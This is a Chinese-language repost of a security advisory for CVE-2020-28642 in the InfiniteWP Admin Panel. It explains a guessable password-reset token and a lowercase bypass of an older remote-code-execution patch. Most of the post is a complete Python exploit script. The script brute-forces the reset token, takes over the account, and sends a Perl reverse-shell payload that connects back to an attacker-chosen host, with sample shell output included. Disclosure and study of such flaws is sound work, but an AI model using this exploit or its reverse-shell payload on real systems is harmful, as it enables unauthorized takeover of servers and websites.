CVE-2020-28642 WP身份验证绕过和RCE

  • A+
所属分类:安全文章


CVE-2020-28642 WP身份验证绕过和RCE


CVE-2020-28642 WP身份验证绕过和RCE



漏洞摘要


        InfiniteWP是 "免费的自我托管,多个WordPress网站管理解决方案。它简化了你的WordPress任务,只需点击一个按钮"。


        在InfiniteWP的一个漏洞允许未经认证的用户成为认证,如果他们知道系统中的一个用户的电子邮件地址,这是通过产品的密码重置机制的缺陷。


独立安全研究员,Shielder ( ShielderSec )的polict,已向SSD安全披露计划报告了这个漏洞。


受影响的版本


        Infinite WP 2.15.6及以前的版本。


固定版本


        Infinite WP 2.15.7及以上版本。


注意:该漏洞在没有更新变更日志的情况下被悄悄地打了补丁,因此,2.15.6之后和2.15.7之前的一些版本也是免疫的--供应商没有向我们透露哪些版本有这个修复措施。


CVE-2020-28642


供應商回應


当我们在2020年9月通知供应商时,他们表示,他们之前已经被告知了这个问题(几个月前向他们报告),他们计划在3-4周内向所有人发布补丁。


他们要求我们等到2021年1月,这样他们就可以确认所有的客户都得到了补丁。


几天前,我们发现其他研究人员已经发布了他的研究结果(大约在2020年11月),而供应商没有花时间通知我们--虽然他们承诺会通知我们--因此我们决定继续前进,并发布了这个完整的警告。


漏洞分析


1. 弱密码重置令牌


密码重置链接是由InfiniteWP管理面板通过执行函数userLoginResetPassword($params)中的代码创建的(controllers/appFunctions.php内1341行):


$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));$resetHash = sha1($hashValue);[...]$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);


其中$userDets['userID']是目标用户的标识符,$params["email"]是他们的email.攻击者只需要用户ID、用户email和调用microtime(true)产生的值,就可以创建正确的链接并重置受害者的密码。


用户ID是存储在数据库中的一个自动递增的整数,默认值是1,因为为了拥有更多的用户,需要购买'manage-users'插件(https://infinitewp.com/docs/addons/manage-users/);也就是说,所附的利用脚本默认尝试1到5的值。

在攻击发生之前,可以测试用户的电子邮件,因为如果输入的电子邮件没有注册,会有不同的HTTP响应:HTTP重定向到login.php?view=resetPassword&errorMsg=resetPasswordEmailNotFound意味着电子邮件没有注册,否则就是注册了;如果输入的电子邮件没有注册,附件的利用脚本会自动通知。

microtime(true)生成的值是当前UNIX时间戳,带微秒(php.net/microtime),因此可以通过HTTP "Date "头值(秒精度)作为创建字典的参考点来猜测。

通过创建一个包含所有可能的resetHash值的字典列表,可以猜测出正确的密码重置令牌并重置受害者的密码。在24小时的时间窗口内,攻击最多可以尝试100万次(密码重置令牌在24小时后失效),这是一个合理的时机。


在概念验证测试中,成功利用这些问题所需的平均总时间为1小时;也就是说,根据具体的网络速度/拥堵/配置和微时间调用输出,时间可能会有所不同。


此时攻击者能够重置受害者的密码并获得Infinite WP管理面板的访问权限,接下来的漏洞将介绍如何在主机上实现经过验证的远程代码执行。


2. 通过 "addFunctions "实现远程代码执行(绕过 "checkDataIsValid")。


2016年,在Infinite WP Admin Panel 2.8.0中发现了一个远程代码执行漏洞,该漏洞影响了/ajax.php API端点。此后详情公开在https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html。


如同咨询中所写的那样,通过添加调用函数checkDataIsValid($action)(controller/panelRequestManager.php第3782行)来修复该漏洞:


private static function checkDataIsValid($action){    //Restricted function access    $functions = array('addFunctions');    if(!in_array($action, $functions)){        return true;    }    return false;}


然而这种检查并没有考虑到PHP函数名是不区分大小写的:通过使用addfunctions(注意小写的 "f")可以绕过补丁,实现远程代码执行。


EPX:


#!/usr/bin/env python3# coding: utf8## exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6## tested on:# - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020## the bug chain is made of two bugs:# 1. weak password reset token leads to privilege escalation# 2. rce patch from 2016 can be bypassed with same payload but lowercase## example run:# $ ./iwp_rce.py -e '[email protected]' -rh http://192.168.11.129/iwp -lh 192.168.11.1# 2020-08-13 14:45:29,496 - INFO - initiating password reset...# 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...# 2020-08-13 14:45:29,538 - INFO - starting with uid 1...# 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...# 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...# 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...# 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...# 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...# 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...# 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using [email protected]:msCodWbsdxGGETswnmWJyANE/x2j6d9G# 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...# 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...# /bin/sh: 0: can't access tty; job control turned off# $ id# uid=1(daemon) gid=1(daemon) groups=1(daemon)# $ uname -a# Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux# $ exit# *** Connection closed by remote host ***# # polict, 13/08/2020import sys, timeimport requests from requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)from concurrent.futures import as_completedfrom requests_futures.sessions import FuturesSessionimport loggingimport logging.handlersimport datetimefrom argparse import ArgumentParserfrom hashlib import sha1import socketimport telnetlibfrom threading import Thread### default settingsDEFAULT_LPORT = 9111DEFAULT_MICROS = 1000000DEFAULT_NEW_PASSWORD = "msCodWbsdxGGETswnmWJyANE/x2j6d9G"PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"### argument parsingparser = ArgumentParser()parser.add_argument("-rh", "--rhost", dest="rhost", required=True,            help="remote InfiniteWP Admin Panel webroot, e.g.: http://10.10.10.11:8080/iwp")parser.add_argument("-e", "--email", dest="email",            help="target email", required=True)parser.add_argument("-u", '--user-id', dest="uid",            help="user_id (in the default installation it is 1, if not set will try 1..5)")parser.add_argument("-lh", '--lhost', dest="lhost",            help="local ip to use for remote shell connect-back",            required=True)parser.add_argument("-ts", '--token-timestamp', dest="start_ts",            help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")parser.add_argument("-m", "--micros", dest="micros_elapsed",            help="number of microseconds to test (if not set 1000000 (1 second))",            default=DEFAULT_MICROS)parser.add_argument("-lp", '--lport', dest="lport",            help="local port to use for remote shell connect-back",            default=DEFAULT_LPORT)parser.add_argument("-p", '--new-password', dest="new_password",            help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),            default=DEFAULT_NEW_PASSWORD)parser.add_argument("-d", "--debug", dest="debug_mode",            action="store_true",            help="enable debug mode")args = parser.parse_args()log = logging.getLogger(__name__)if args.debug_mode:    log.setLevel(logging.DEBUG)else:    log.setLevel(logging.INFO)handler = logging.StreamHandler(sys.stdout)handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))log.addHandler(handler)### actual exploit logicdef init_pw_reset():    global args    start_clock = time.perf_counter()    start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)    log.debug("init pw reset start ts: {}".format(start_ts))    response = requests.post("{}/login.php".format(args.rhost), verify=False,    data={        "email": args.email,         "action": "resetPasswordSendMail",         "loginSubmit": "Send Reset Link"    }, allow_redirects=False)    log.debug("init pw reset returned these headers: {}".format(response.headers))    """    now we could use our registered timings to restrict the bruteforce values to the minimum range    instead of using the whole "last second" microseconds range, however we can't be 100% sure    the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now    # calculate actual ntp-time range    end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)    delta_clock = end_clock - start_clock    end_ts = start_ts + datetime.timedelta(seconds=delta_clock)    log.debug("end: {}".format(end_ts))    print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))
# this takes for garanteed that the response arrives before 1 minute is elapsed micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds log.debug("micros elapsed: {}".format(micros_elapsed)) """ if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']: log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one") sys.exit(1) # both redirects are ok because the reset hash is written in the db before sending the mail if response.status_code == 302 and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):
# Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT') server_dt = server_dt.replace(tzinfo=datetime.timezone.utc) log.debug("server time: {}".format(server_dt)) """ this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier if (end_ts - server_dt) > datetime.timedelta(milliseconds=500): log.warning("the target server doesn't look ntp-synced, exploit will most probably fail") """ args.start_ts = int(server_dt.timestamp()) # args.micros_elapsed = 1000000 return else: log.error("pw reset init failed, check with debug enabled (-d)") sys.exit(1)def generate_reset_hash(timestamp, uid): global args """ $hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID'])); ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";} $resetHash = sha1($hashValue); """ template_ts_uid = "a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:%s;s:7:"userPin";s:1:"%s";}" # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";} serialized_resethash = template_ts_uid %(timestamp, uid) hash_obj = sha1(serialized_resethash.encode()) reset_hash = hash_obj.hexdigest() log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash)) return reset_hashdef brute_pw_reset(): global args, start_time if args.uid is None: # in the default installation the uid is 1, but let's try also some others in case they have installed # the "manage-users" addon: https://infinitewp.com/docs/addons/manage-users/ uids = [1,2,3,4,5] else: uids = [args.uid] log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts)) sha1_email = sha1(args.email.encode()).hexdigest() with FuturesSession() as session: # max_workers=4 for uid in uids: log.info("starting with uid {}...".format(uid)) microsecond = 0 hashes_tested = 0 while microsecond < args.micros_elapsed: futures = [] # try 100k per time to avoid ram cluttering for _ in range(100000): # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc) # unix_ts = int(test_ts.timestamp()) ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6) reset_hash = generate_reset_hash(ms_string, uid) futures.append(session.post("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, "action":"resetPasswordChange", "resetHash": reset_hash, "newPassword": args.new_password }, allow_redirects=False)) microsecond += 1 for future in as_completed(futures): if hashes_tested % 50000 == 0 and hashes_tested > 0: log.info("tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid)) hashes_tested += 1 response = future.result() log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"])) if "successMsg" in response.headers["location"] : log.info("password has been reset, you can now login using {}:{}".format(args.email, args.new_password)) log.info("removing from the queue all the remaining hashes...") for future in futures: future.cancel() return log.info("target user doesn't have uid {}...".format(uid)) log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested)) sys.exit(1)def handler(): global args t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", args.lport)) s.listen(1) conn, addr = s.accept() log.debug("Connection from %s %s received!" % (addr[0], addr[1])) t.sock = conn t.interact()def login_and_rce(): global args handlerthr = Thread(target=handler) handlerthr.start() # login and record cookies s = requests.Session() log.debug("logging in...") login = s.post("{}/login.php".format(args.rhost), data={"email": args.email, "password": args.new_password, "loginSubmit": "Log in"}) log.debug("login ret {} headers {}".format(login.status_code, login.headers)) # rce rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict", # notice the lowercase f # (bypass of patch for https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html) "requiredData[addfunctions]" : "system", "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport) }) log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))if __name__ == '__main__': if args.start_ts is None: log.info("initiating password reset...") init_pw_reset() log.info("reset token has been generated at {}, starting the bruteforce...".format(args.start_ts)) brute_pw_reset() log.info("spawning a remote shell...") login_and_rce()


参考文献:https://ssd-disclosure.com/ssd-advisory-auth-bypass-and-rce-in-infinite-wp-admin-panel/

本文始发于微信公众号(Khan安全团队):CVE-2020-28642 WP身份验证绕过和RCE

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: